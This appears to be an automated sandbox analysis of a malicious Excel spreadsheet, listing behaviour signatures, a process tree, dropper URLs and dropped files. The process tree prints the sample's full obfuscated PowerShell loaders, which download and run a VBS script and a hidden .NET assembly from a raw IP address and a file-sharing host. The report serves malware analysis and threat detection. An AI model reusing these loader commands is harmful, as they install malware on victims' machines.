Analysis

  • max time kernel
    139s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    13/11/2024, 03:03

General

  • Target
    ee6666aa9e5387583b1acb4e3684dfcb10c67d2fa6738b7ba07864b79976f2ed.xls
  • Size 1.1MB
  • Sample241113-dkbsmswarr
  • SHA256 ee6666aa9e5387583b1acb4e3684dfcb10c67d2fa6738b7ba07864b79976f2ed
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

  • exe.dropper

    https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Drops file in System32 directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ee6666aa9e5387583b1acb4e3684dfcb10c67d2fa6738b7ba07864b79976f2ed.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2140
  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe -Embedding
    1⤵
    • Blocklisted process makes network request
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2860
    • C:\Windows\SysWOW64\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE
      "C:\Windows\SYSteM32\wiNdoWspoWERsHELl\V1.0\powerSHELl.eXE" "poWERSheLL.ExE -ex BYPASs -nOP -W 1 -c dEViCECRedeNTIaLdePLOymenT ; IeX($(IeX('[SYsTEM.TEXT.EncodiNG]'+[CHar]58+[CHAR]0x3a+'UTF8.GetStRing([sYSTEm.coNverT]'+[chaR]0x3A+[chaR]58+'froMbase64String('+[cHAR]0x22+'JGtrUUk4aCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRXJkRUZpbklUaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT24uZGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFVWcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV6bSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0dqbVhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWVZsc3VVTixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3FCamhCSkdxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJaIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRVNQQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdmV0NjeUhvR0wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAka2tRSThoOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xOTIvMzUvc2VldGhlYmVzdGdpcmxzZXZlcmRpZGJlc3R0aGlnbnN3aXRobXlzZWxmLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0Z2lybHNldmVyZGlkYmVzdHRoaWducy52YnMiLDAsMCk7c1RBclQtU2xlRXAoMyk7c3RBcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0Z2lybHNldmVyZGlkYmVzdHRoaWducy52YnMi'+[cHar]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2692
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex BYPASs -nOP -W 1 -c dEViCECRedeNTIaLdePLOymenT
        3⤵
        • Evasion via Device Credential Deployment
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1660
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\clbffc8o.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1784
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD682.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD681.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:308
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestgirlseverdidbestthigns.vbs"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2748
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRQc2hPTWVbNF0rJHBzSG9tRVszMF0rJ3gnKSggKCgnQU04aW1hZ2VVcmwgPSB5OWNuaHR0cHM6Ly8xMDE3LmZpbGVtJysnYWlsLmNvbS9hJysncGkvZicrJ2lsZS9nZXQ/ZmlsZWtleT0yQWFfYldvOVJldTQ1dDdCVTEnKydrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY18nKydUMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiB5OWNuO0FNOHdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7QU04aW1hZ2VCeXRlcyA9IEFNJysnOHdlYkNsaWVudC5Eb3dubG9hZERhdGEoQU04aW1hZ2UnKydVcmwpO0FNOGltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEFNJysnOGltYWdlQnl0ZScrJ3MpO0FNOHN0YXJ0RmxhZyA9IHk5Y248PCcrJ0JBU0U2NF9TVEFSVD4+eTljbjtBTThlbmRGbGFnJysnID0geTljbjw8QkEnKydTRTY0JysnX0VORD4+eTljbjtBTThzdGFydEluZGV4ID0gQScrJ004aW1hZ2VUZXh0LicrJ0luJysnZGV4T2YoQU04c3RhcnRGbGFnJysnKTtBJysnTThlbmRJbmRleCA9IEFNOGltYWdlVGV4dC5JbmRleE9mKEFNOGVuZEZsYWcpO0FNOHN0YXJ0SW5kZXggLWdlIDAgLWFuZCBBTThlbmRJbmRleCAtZ3QgQU04c3RhcnRJbicrJ2QnKydleDtBTThzdGFydEluZGV4ICs9IEFNOHN0YXJ0RmxhZy5MZScrJ25ndCcrJ2g7QU04YmFzZTY0TGVuZ3RoID0gQU04ZW5kSW5kZXggLSBBTThzdGFydEluZGV4JysnO0FNOGJhc2U2NENvbW1hbmQgPSBBTThpbWFnZVRleHQuU3ViJysnc3RyaScrJ25nKEFNOHN0YXJ0SW5kZXgsIEFNOGJhc2U2NExlbmd0aCk7JysnQU04JysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoQU04YmFzZTY0Q29tbWFuZC4nKydUb0NoYXJBcnJheSgpIFBNVzYgRm9yRWFjaC1PYmplY3QgeyBBTThfIH0pWy0xLi4tKEFNOGJhc2UnKyc2NENvbW1hbmQuTGVuZ3RoKV07JysnQU0nKyc4Y29tbWFuJysnZEJ5dGVzID0gW1MnKyd5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhBTThiYXNlNjRSZXZlcnNlZCk7QU04bG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKEFNOGNvbW1hbmRCeXRlcyk7QU04dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh5OWNuVkFJeTljbik7QU04dmFpTWV0aG9kLkknKydudm9rZShBTThudWxsLCBAKHk5Y250eHQuRVJGVkdSRkUvNTMvMjkxLjg3MS42NC44OTEvLzpwdHRoeTljbiwgeTljbmRlc2F0JysnaXZhZG95OWNuLCB5OWNuZGVzYXRpdmFkb3k5Y24nKycsIHk5Y25kZXNhdGl2YWRveTljbiwgeTljbkNhc1BvbHk5YycrJ24sIHk5Y25kZXNhdGl2YWRveScrJzljbiwgeTljbmRlc2F0aXZhZG95OWNuLHk5Y25kZXNhdGl2YWRveTljJysnbix5OWNuZGVzYXRpdmFkb3k5Y24seTljbmRlc2F0aXZhZG95OWNuLHk5JysnY25kZXNhdGl2YWRveTljbix5OWNuZGVzYXQnKydpdmFkb3k5Y24seTljbjF5OWNuLHk5Y25kZXNhdGl2YWRveTljbikpOycpICAtY1JlcGxBY2UnUE1XNicsW0NoQVJdMTI0ICAtY1JlcGxBY2UoW0NoQVJdMTIxK1tDaEFSXTU3K1tDaEFSXTk5K1tDaEFSXTExMCksW0NoQVJdMzktcmVQTEFjZShbQ2hBUl02NStbQ2hBUl03NytbQ2hBUl01NiksW0NoQVJdMzYpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3064
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $PshOMe[4]+$psHomE[30]+'x')( (('AM8imageUrl = y9cnhttps://1017.filem'+'ail.com/a'+'pi/f'+'ile/get?filekey=2Aa_bWo9Reu45t7BU1'+'kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_'+'T35w&pk_vid=fd4f614bb209c62c1730945176a0904f y9cn;AM8webClient = New-Object System.Net.WebClient;AM8imageBytes = AM'+'8webClient.DownloadData(AM8image'+'Url);AM8imageText = [System.Text.Encoding]::UTF8.GetString(AM'+'8imageByte'+'s);AM8startFlag = y9cn<<'+'BASE64_START>>y9cn;AM8endFlag'+' = y9cn<<BA'+'SE64'+'_END>>y9cn;AM8startIndex = A'+'M8imageText.'+'In'+'dexOf(AM8startFlag'+');A'+'M8endIndex = AM8imageText.IndexOf(AM8endFlag);AM8startIndex -ge 0 -and AM8endIndex -gt AM8startIn'+'d'+'ex;AM8startIndex += AM8startFlag.Le'+'ngt'+'h;AM8base64Length = AM8endIndex - AM8startIndex'+';AM8base64Command = AM8imageText.Sub'+'stri'+'ng(AM8startIndex, AM8base64Length);'+'AM8'+'base64Reversed = -join (AM8base64Command.'+'ToCharArray() PMW6 ForEach-Object { AM8_ })[-1..-(AM8base'+'64Command.Length)];'+'AM'+'8comman'+'dBytes = [S'+'ystem.Convert]::FromBase64String(AM8base64Reversed);AM8loadedAssembly = [System.Reflection.Assembly]::Load(AM8commandBytes);AM8vaiMethod = [dnlib.IO.Home].GetMethod(y9cnVAIy9cn);AM8vaiMethod.I'+'nvoke(AM8null, @(y9cntxt.ERFVGRFE/53/291.871.64.891//:ptthy9cn, y9cndesat'+'ivadoy9cn, y9cndesativadoy9cn'+', y9cndesativadoy9cn, y9cnCasPoly9c'+'n, y9cndesativadoy'+'9cn, y9cndesativadoy9cn,y9cndesativadoy9c'+'n,y9cndesativadoy9cn,y9cndesativadoy9cn,y9'+'cndesativadoy9cn,y9cndesat'+'ivadoy9cn,y9cn1y9cn,y9cndesativadoy9cn));') -cReplAce'PMW6',[ChAR]124 -cReplAce([ChAR]121+[ChAR]57+[ChAR]99+[ChAR]110),[ChAR]39-rePLAce([ChAR]65+[ChAR]77+[ChAR]56),[ChAR]36) )"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2228

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        103621DE9CD5414CC2538780B4B75751

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
        • Size 717B
        • SHA256 af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9
        • MD5 SHA1 SHA512

        CB467543952BE6B5200B9CADEB942CD1

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CB467543952BE6B5200B9CADEB942CD1
        • Size 504B
        • SHA256 9f9f330b74a23eac5552db138565085b9a57c32dc746c3ad230659ad37ddc689
        • MD5 SHA1 SHA512

        103621DE9CD5414CC2538780B4B75751

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
        • Size 192B
        • SHA256 005c38f5c5e7df9efbbc89584de9a33a7e858695bc915e9ed5bcf3d75700fdf1
        • MD5 SHA1 SHA512

        CB467543952BE6B5200B9CADEB942CD1

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CB467543952BE6B5200B9CADEB942CD1
        • Size 554B
        • SHA256 ba3a09f7cb2a728311696fd5eaeefd373104ff23ba6aa676b9bc6766597a30dd
        • MD5 SHA1 SHA512

        seethebestthingswithgoodthingswithgreatthignsfor[1].hta

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9GP4P3HF\seethebestthingswithgoodthingswithgreatthignsfor[1].hta
        • Size 8KB
        • SHA256 7bd8a55560444bfe912702828550bcb7efcfb86a70a13c5d2c2e1035ae32e9d3
        • MD5 SHA1 SHA512 SSDEEP

        CabCB6A.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\CabCB6A.tmp
        • Size 70KB
        • SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
        • MD5 SHA1 SHA512 SSDEEP

        RESD682.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\RESD682.tmp
        • Size 1KB
        • SHA256 aa12d23a40d81a523de14ed101e7cfd2349b9ad3339d3d96d5d4ddbee1a187f1
        • MD5 SHA1 SHA512

        clbffc8o.dll

        • Path C:\Users\Admin\AppData\Local\Temp\clbffc8o.dll
        • Size 3KB
        • SHA256 a4b61fe3bb65cb54586ba22870fcbe371bb1abd696d3d58ccc4e2545013ad959
        • MD5 SHA1 SHA512

        clbffc8o.pdb

        • Path C:\Users\Admin\AppData\Local\Temp\clbffc8o.pdb
        • Size 7KB
        • SHA256 38ea0d12e93c4cc8c91c6de3b903854c96993964d9b75a2096a785fa1e44d32a
        • MD5 SHA1 SHA512 SSDEEP

        CSM0DA6Y469005TMZVVM.temp

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CSM0DA6Y469005TMZVVM.temp
        • Size 7KB
        • SHA256 0b58f5155c3ca16b7648d0fbfe4d654985a691b5fe943129fe00c4778d9de130
        • MD5 SHA1 SHA512 SSDEEP

        seethebestgirlseverdidbestthigns.vbs

        • Path C:\Users\Admin\AppData\Roaming\seethebestgirlseverdidbestthigns.vbs
        • Size 138KB
        • SHA256 4d489671247459e4b2c1403511606a2463199f1a5044d7e1841e5387b8c86e0a
        • MD5 SHA1 SHA512 SSDEEP

        CSCD681.tmp

        • Path \??\c:\Users\Admin\AppData\Local\Temp\CSCD681.tmp
        • Size 652B
        • SHA256 5a9ec907bc757f9dd645b36b5a1903b07db9aa7a69ec99805f63ce046651796d
        • MD5 SHA1 SHA512

        clbffc8o.0.cs

        • Path \??\c:\Users\Admin\AppData\Local\Temp\clbffc8o.0.cs
        • Size 464B
        • SHA256 0ad0cda12412bd6fa525c0e4f876fb02a55a98e7555e5a43423c577465611df1
        • MD5 SHA1 SHA512

        clbffc8o.cmdline

        • Path \??\c:\Users\Admin\AppData\Local\Temp\clbffc8o.cmdline
        • Size 309B
        • SHA256 0836e6c4c1c6a23f3d77c513130d139af1c345d08cf1288623377f0ef6123407
        • MD5 SHA1 SHA512

        memory/2140-17-0x0000000002310000-0x0000000002312000-memory.dmp

        memory/2140-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/2140-1-0x00000000720AD000-0x00000000720B8000-memory.dmp

        memory/2140-60-0x00000000720AD000-0x00000000720B8000-memory.dmp

        memory/2860-16-0x0000000001180000-0x0000000001182000-memory.dmp